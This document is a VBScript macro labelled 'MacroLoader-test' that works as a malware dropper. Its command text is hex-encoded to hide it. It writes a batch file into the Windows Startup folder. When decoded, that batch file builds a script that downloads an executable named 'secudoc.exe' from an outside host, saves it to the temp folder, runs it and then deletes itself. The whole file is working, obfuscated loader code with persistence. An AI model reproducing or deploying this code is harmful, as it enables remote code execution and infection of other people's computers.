MacroLoader-test

Dim sf
sf = CreateObject("WScript.Shell").SpecialFolders("Startup")
Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(sf & "\d6f17d97.bat", True)
Dim hex1
hex1 = "6563686F206F66660A64656C202F712F662F73202574656D70255C64366631376439372E7662730A64656C202F712F662F73202574656D70255C643666313764"
Dim count1
count1 = Len(hex1)
For i = 1 To count1 Step 2
    File.Write Chr(CInt("&h" & Mid(hex1,i,2)))
Next
Dim hex2
hex2 = "39372E6578650A5345542066663D2574656D70255C64366631376439372E7662730A5345542070313D44696D20683A0A5345542070323D2053657420680A5345"
Dim count2
count2 = Len(hex2)
For i = 1 To count2 Step 2
    File.Write Chr(CInt("&h" & Mid(hex2,i,2)))
Next
Dim hex3
hex3 = "542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65637428224D0A5345542070363D6963726F736F0A5345542070373D66742E"
Dim count3
count3 = Len(hex3)
For i = 1 To count3 Step 2
    File.Write Chr(CInt("&h" & Mid(hex3,i,2)))
Next
Dim hex4
hex4 = "584D4C0A5345542070383D4854545022290A6563686F202570312525703225257033252570342525703525257036252570372525703825203E3E20256666250A"
Dim count4
count4 = Len(hex4)
For i = 1 To count4 Step 2
    File.Write Chr(CInt("&h" & Mid(hex4,i,2)))
Next
Dim hex5
hex5 = "5345542070313D44696D20733A0A5345542070323D2053657420730A5345542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65"
Dim count5
count5 = Len(hex5)
For i = 1 To count5 Step 2
    File.Write Chr(CInt("&h" & Mid(hex5,i,2)))
Next
Dim hex6
hex6 = "63742822410A5345542070363D646F64622E530A5345542070373D747265616D220A5345542070383D29200A6563686F20257031252570322525703325257034"
Dim count6
count6 = Len(hex6)
For i = 1 To count6 Step 2
    File.Write Chr(CInt("&h" & Mid(hex6,i,2)))
Next
Dim hex7
hex7 = "2525703525257036252570372525703825203E3E20256666250A5345542070313D682E4F70656E0A5345542070323D2022474554220A5345542070333D2C2022"
Dim count7
count7 = Len(hex7)
For i = 1 To count7 Step 2
    File.Write Chr(CInt("&h" & Mid(hex7,i,2)))
Next
Dim hex8
hex8 = "6874740A5345542070343D703A2F2F766D0A5345542070353D732E6834636B0A5345542070363D3070732E63630A5345542070373D3A393030392F0A53455420"
Dim count8
count8 = Len(hex8)
For i = 1 To count8 Step 2
    File.Write Chr(CInt("&h" & Mid(hex8,i,2)))
Next
Dim hex9
hex9 = "70383D73656375646F0A5345542070393D632E657865220A534554207031303D2C2046616C730A534554207031313D65200A6563686F20257031252570322525"
Dim count9
count9 = Len(hex9)
For i = 1 To count9 Step 2
    File.Write Chr(CInt("&h" & Mid(hex9,i,2)))
Next
Dim hex10
hex10 = "70332525703425257035252570362525703725257038252570392525703130252570313125203E3E20256666250A5345542070313D682E53656E640A6563686F"
Dim count10
count10 = Len(hex10)
For i = 1 To count10 Step 2
    File.Write Chr(CInt("&h" & Mid(hex10,i,2)))
Next
Dim hex11
hex11 = "2025703125203E3E20256666250A5345542070313D663D204372650A5345542070323D6174654F626A0A5345542070333D6563742822530A5345542070343D63"
Dim count11
count11 = Len(hex11)
For i = 1 To count11 Step 2
    File.Write Chr(CInt("&h" & Mid(hex11,i,2)))
Next
Dim hex12
hex12 = "72697074690A5345542070353D6E672E46696C0A5345542070363D6553797374650A5345542070373D6D4F626A65630A5345542070383D7422292E47650A5345"
Dim count12
count12 = Len(hex12)
For i = 1 To count12 Step 2
    File.Write Chr(CInt("&h" & Mid(hex12,i,2)))
Next
Dim hex13
hex13 = "542070393D7453706563690A534554207031303D616C466F6C640A534554207031313D6572283229200A534554207031323D2B20222F64360A53455420703133"
Dim count13
count13 = Len(hex13)
For i = 1 To count13 Step 2
    File.Write Chr(CInt("&h" & Mid(hex13,i,2)))
Next
Dim hex14
hex14 = "3D6631376439370A534554207031343D2E65786522200A6563686F20257031252570322525703325257034252570352525703625257037252570382525703925"
Dim count14
count14 = Len(hex14)
For i = 1 To count14 Step 2
    File.Write Chr(CInt("&h" & Mid(hex14,i,2)))
Next
Dim hex15
hex15 = "25703130252570313125257031322525703133252570313425203E3E20256666250A5345542070313D5769746820730A6563686F2025703125203E3E20256666"
Dim count15
count15 = Len(hex15)
For i = 1 To count15 Step 2
    File.Write Chr(CInt("&h" & Mid(hex15,i,2)))
Next
Dim hex16
hex16 = "250A5345542070313D2E54797065200A5345542070323D3D2031200A6563686F202570312525703225203E3E20256666250A5345542070313D2E4F70656E200A"
Dim count16
count16 = Len(hex16)
For i = 1 To count16 Step 2
    File.Write Chr(CInt("&h" & Mid(hex16,i,2)))
Next
Dim hex17
hex17 = "6563686F2025703125203E3E20256666250A5345542070313D2E77726974650A5345542070323D20682E7265730A5345542070333D706F6E7365420A53455420"
Dim count17
count17 = Len(hex17)
For i = 1 To count17 Step 2
    File.Write Chr(CInt("&h" & Mid(hex17,i,2)))
Next
Dim hex18
hex18 = "70343D6F6479200A6563686F2025703125257032252570332525703425203E3E20256666250A5345542070313D2E73617665740A5345542070323D6F66696C65"
Dim count18
count18 = Len(hex18)
For i = 1 To count18 Step 2
    File.Write Chr(CInt("&h" & Mid(hex18,i,2)))
Next
Dim hex19
hex19 = "200A5345542070333D662C2032200A6563686F20257031252570322525703325203E3E20256666250A5345542070313D456E642057690A5345542070323D7468"
Dim count19
count19 = Len(hex19)
For i = 1 To count19 Step 2
    File.Write Chr(CInt("&h" & Mid(hex19,i,2)))
Next
Dim hex20
hex20 = "0A6563686F202570312525703225203E3E20256666250A7374617274202F57202574656D70255C64366631376439372E7662730A7374617274202574656D7025"
Dim count20
count20 = Len(hex20)
For i = 1 To count20 Step 2
    File.Write Chr(CInt("&h" & Mid(hex20,i,2)))
Next
Dim hex21
hex21 = "5C64366631376439372E6578650A64656C202530"
Dim count21
count21 = Len(hex21)
For i = 1 To count21 Step 2
    File.Write Chr(CInt("&h" & Mid(hex21,i,2)))
Next
File.Close